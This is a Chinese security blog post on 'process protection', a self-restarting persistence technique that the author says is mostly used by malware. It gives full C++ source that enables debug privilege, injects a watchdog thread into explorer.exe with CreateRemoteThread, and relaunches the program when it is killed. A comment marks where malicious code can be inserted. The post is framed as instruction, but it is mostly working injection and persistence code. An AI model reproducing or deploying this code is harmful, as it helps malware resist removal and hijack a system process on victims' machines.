安全之路 —— C++实现进程守护
简介
所谓进程守护,就是A进程为了保护自己不被结束,创建了一个守护线程来保护自己,一旦被结束进程,便重新启动。进程守护的方法多被应用于恶意软件,是一个保护自己进程的一个简单方式,在ring3下即可轻松实现。而创建守护线程的方法多采用远程线程注入的方式,笔者之前曾介绍过远程线程注入的基本方式,主要分为DLL远程注入和无DLL远程注入。
代码实现
//
//
// FileName : ProcessProtectorDemo.cpp
// Creator : PeterZheng
// Date : 2018/9/06 17:32
// Comment : Process Protector
//
//#pragma once#include <cstdio>
#include <iostream>
#include <cstdlib>
#include <string.h>
#include <string>
#include <strsafe.h>
#include <Windows.h>
#include <tlhelp32.h>
#include <vector>using namespace std;#define MAX_LENGTH 255
#pragma warning(disable:4996)//远程线程参数结构体
typedef struct _remoteTdParams
{LPVOID ZWinExec; // WinExec Function AddressLPVOID ZOpenProcess; // OpenProcess Function AddressLPVOID ZWaitForSingleObject; // WaitForSingleObject Function AddressDWORD ZPid; // Param => Process idHANDLE ZProcessHandle; // Param => HandleCHAR filePath[MAX_LENGTH]; // Param => File Path
}RemoteParam;//本地线程参数结构体
typedef struct _localTdParams
{CHAR remoteProcName[MAX_LENGTH];DWORD localPid;DWORD remotePid;HANDLE hRemoteThread;
}LocalParam;//字符串分割函数
BOOL SplitString(const string& s, vector<string>& v, const string& c)
{string::size_type pos1, pos2;pos2 = s.find(c);pos1 = 0;while (string::npos != pos2){v.push_back(s.substr(pos1, pos2 - pos1));pos1 = pos2 + c.size();pos2 = s.find(c, pos1);}if (pos1 != s.length())v.push_back(s.substr(pos1));return TRUE;
}//远程线程函数体 (守护函数)
DWORD WINAPI ThreadProc(RemoteParam *lprp)
{typedef UINT(WINAPI *ZWinExec)(LPCSTR lpCmdLine, UINT uCmdShow);typedef HANDLE(WINAPI *ZOpenProcess)(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId);typedef DWORD(WINAPI *ZWaitForSingleObject)(HANDLE hHandle, DWORD dwMilliseconds);ZWinExec ZWE;ZOpenProcess ZOP;ZWaitForSingleObject ZWFSO;ZWE = (ZWinExec)lprp->ZWinExec;ZOP = (ZOpenProcess)lprp->ZOpenProcess;ZWFSO = (ZWaitForSingleObject)lprp->ZWaitForSingleObject;lprp->ZProcessHandle = ZOP(PROCESS_ALL_ACCESS, FALSE, lprp->ZPid);ZWFSO(lprp->ZProcessHandle, INFINITE);ZWE(lprp->filePath, SW_SHOW);return 0;
}//获取PID
DWORD __cdecl GetProcessID(CHAR *ProcessName)
{PROCESSENTRY32 pe32;pe32.dwSize = sizeof(pe32);HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);if (hProcessSnap == INVALID_HANDLE_VALUE) return 0;BOOL bProcess = Process32First(hProcessSnap, &pe32);while (bProcess){if (strcmp(strupr(pe32.szExeFile), strupr(ProcessName)) == 0)return pe32.th32ProcessID;bProcess = Process32Next(hProcessSnap, &pe32);}CloseHandle(hProcessSnap);return 0;
}//获取权限
int __cdecl EnableDebugPriv(const TCHAR *name)
{HANDLE hToken;TOKEN_PRIVILEGES tp;LUID luid;if (!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,&hToken)) return 1;if (!LookupPrivilegeValue(NULL, name, &luid)) return 1;tp.PrivilegeCount = 1;tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;tp.Privileges[0].Luid = luid;if (!AdjustTokenPrivileges(hToken, 0, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL)) return 1;return 0;
}//线程注入函数
BOOL __cdecl InjectProcess(const DWORD dwRemotePid, const DWORD dwLocalPid, HANDLE& hThread)
{if (EnableDebugPriv(SE_DEBUG_NAME)) return FALSE;HANDLE hWnd = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwRemotePid);if (!hWnd) return FALSE;RemoteParam rp;ZeroMemory(&rp, sizeof(RemoteParam));rp.ZOpenProcess = (LPVOID)GetProcAddress(LoadLibrary("Kernel32.dll"), "OpenProcess");rp.ZWinExec = (LPVOID)GetProcAddress(LoadLibrary("Kernel32.dll"), "WinExec");rp.ZWaitForSingleObject = (LPVOID)GetProcAddress(LoadLibrary("Kernel32.dll"), "WaitForSingleObject");rp.ZPid = dwLocalPid;CHAR szPath[MAX_LENGTH] = "\0";GetModuleFileName(NULL, szPath, sizeof(szPath));StringCchCopy(rp.filePath, sizeof(rp.filePath), szPath);RemoteParam *pRemoteParam = (RemoteParam *)VirtualAllocEx(hWnd, 0, sizeof(RemoteParam), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);if (!pRemoteParam) return FALSE;if (!WriteProcessMemory(hWnd, pRemoteParam, &rp, sizeof(RemoteParam), 0)) return FALSE;LPVOID pRemoteThread = VirtualAllocEx(hWnd, 0, 1024 * 4, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);if (!pRemoteThread) return FALSE;if (!WriteProcessMemory(hWnd, pRemoteThread, &ThreadProc, 1024 * 4, 0)) return FALSE;hThread = CreateRemoteThread(hWnd, NULL, 0, (LPTHREAD_START_ROUTINE)pRemoteThread, (LPVOID)pRemoteParam, 0, NULL);if (!hThread) return FALSE;return TRUE;
}//远程线程监控函数(本地线程函数)
DWORD WINAPI WatchFuncData(LPVOID lprarm)
{HANDLE hRemoteThread = ((LocalParam*)lprarm)->hRemoteThread;DWORD dwLocalPid = ((LocalParam*)lprarm)->localPid;DWORD dwRemotePid = ((LocalParam*)lprarm)->remotePid;CHAR szRemoteProcName[MAX_LENGTH] = "\0";StringCchCopy(szRemoteProcName, sizeof(szRemoteProcName), ((LocalParam*)lprarm)->remoteProcName);DWORD exitCode = 0;while (TRUE){if (!hRemoteThread) InjectProcess(dwRemotePid, dwLocalPid, hRemoteThread);GetExitCodeThread(hRemoteThread, &exitCode);if (exitCode^STILL_ACTIVE){WinExec(szRemoteProcName, SW_HIDE);dwRemotePid = GetProcessID(szRemoteProcName);InjectProcess(dwRemotePid, dwLocalPid, hRemoteThread);}Sleep(1000);}return 0;
}//主函数
int WINAPI WinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPSTR lpCmdLine, _In_ int nShowCmd)
{LocalParam lpLp;ZeroMemory(&lpLp, sizeof(LocalParam));CHAR szRemoteProcName[MAX_LENGTH] = "\0";CHAR szLocalProcName[MAX_LENGTH] = "\0";CHAR currentFilePath[MAX_LENGTH] = "\0";vector<string> pathGroup;GetModuleFileName(NULL, currentFilePath, sizeof(currentFilePath));SplitString(currentFilePath, pathGroup, "\\");StringCchCopy(szLocalProcName, sizeof(szLocalProcName), pathGroup[pathGroup.size() - 1].c_str());StringCchCopy(szRemoteProcName, sizeof(szRemoteProcName), "explorer.exe");StringCchCopy(szLocalProcName, sizeof(szLocalProcName), szLocalProcName);StringCchCopy(lpLp.remoteProcName, sizeof(lpLp.remoteProcName), szRemoteProcName);DWORD dwRemotePid = GetProcessID(szRemoteProcName);DWORD dwLocalPid = GetProcessID(szLocalProcName);HANDLE hThread = NULL;lpLp.remotePid = dwRemotePid;lpLp.localPid = dwLocalPid;hThread = CreateThread(NULL, 0, WatchFuncData, LPVOID(&lpLp), 0, 0);//....插入恶意代码等工作流程while (TRUE){MessageBox(NULL, "Hello!!", "HAHA!! XDD", MB_OK);}WaitForSingleObject(hThread, INFINITE);return 0;
}
安全之路 —— C++实现进程守护相关推荐
- 【部署类】专题:消息队列MQ、进程守护Supervisor
目录 1 背景需求 2 技术方案 2.1 消息队列 2.2 进程守护 3 源码介绍 3.1 supervisor部分 3.1.1 supervisord.conf 内容 3.1.2 MM3D.conf ...
- 探讨一种新型的双进程守护应用保活
探讨一种新型的双进程守护应用保活方法 (转载请声明出处:http://blog.csdn.net/andrexpert/article/details/53485360) APP保活系列(最高支持到A ...
- Python Twisted系列教程16:Twisted 进程守护
作者:dave@http://krondo.com/twisted-daemonologie/ 译者: Cheng Luo 你可以从"第一部分 Twist理论基础"开始阅读:也可 ...
- 【Android 进程保活】应用进程拉活 ( 双进程守护 + JobScheduler 保活 | 成功率最高 | 推荐使用 )
文章目录 一. 双进程守护保活 + JobScheduler 原理 二. 双进程守护保活 + JobScheduler 源码 1.JobService 代码 2.判定服务运行工具类 3.清单文件 4. ...
- 进程守护系统,你懂吗?
1.什么是进程守护系统? 进程守护系统,用于监控指定的进程,当发现目标进程不再正常工作时,就关闭该进程,并重启它. 在什么情况下使用进程守护系统了?比如说,我们的某个服务器软件,在上线后出现一个严重的 ...
- android双进程守护耗电,Android实现双进程守护
做过android开发的人应该都知道应用会在系统资源匮乏的情况下被系统杀死!当后台的应用被系统回收之后,如何重新恢复它呢?网上对此问题有很多的讨论.这里先总结一下网上流传的各种解决方案,看看这些办法是 ...
- Android 保持Service不被Kill掉的方法--双Service守护 Android实现双进程守护
本文分为两个部分,第一部分为双Service守护,第二部分为双进程守护 第一部分: 一.Service简介:Java.lang.Object ↳Android.content.Context ↳an ...
- 红橙Darren视频笔记 App保活-双进程守护与JobService
App为什么会被杀死 一般情况App被杀有以下几种情况 1 手机内存不足,系统需要花费更多资源去运行优先级较高的应用 2 第三方的管理软件比如360,腾讯管家,清理进程也可能会杀死进程 Android ...
- android进程守护 失效,保持Service不被Kill掉的方法--双Service守护 Android实现双进程守护 1...
本文分为两个部分,第一部分为双Service守护,第二部分为双进程守护 第一部分: 一.Service简介:Java.lang.Object ?Android.content.Context ?and ...
最新文章
- Xamarin XAML语言教程使用Visual Studio创建XAML
- Win10+GTX 1080Ti+Anaconda TensorFlow安装
- 访问服务器 request.getheader(origin)为null_服务器磁盘不足,1分钟快速搞定!
- Futura:从纳粹主义到月球-甚至更远
- python调试和测试有什么区别和联系_软件测试和测试开发到底有什么区别跟联系?...
- php正则表达式以及正则函数详解
- zwPython,字王集成式python开发平台,比pythonXY更强大、更方便。
- eve-ng 添加dynamips镜像文件
- win10重置进度条不动了_你好,我win10系统重置的进度条卡住了。一直在卡在17%近9个小时了。这要...
- HPSocket的使用(一、利用HPsocket 写一个TCP客户端)
- 分形之皇冠(Crown)
- MQ系列SpringBoot快速整合RabbitMQ
- win10系统中如何查看wifi密码
- texmacs转到latex(winEdt)
- linux 下部署tomcat问题
- 产品思维训练 | 常见的用户增长手段有哪些?
- transitive fanout与set_dont_touch_network
- Hadoop简介 4V特征和3个核心
- 图解正则表达式,这一篇就够了
- whl is not a supported wheel on this platform.解决办法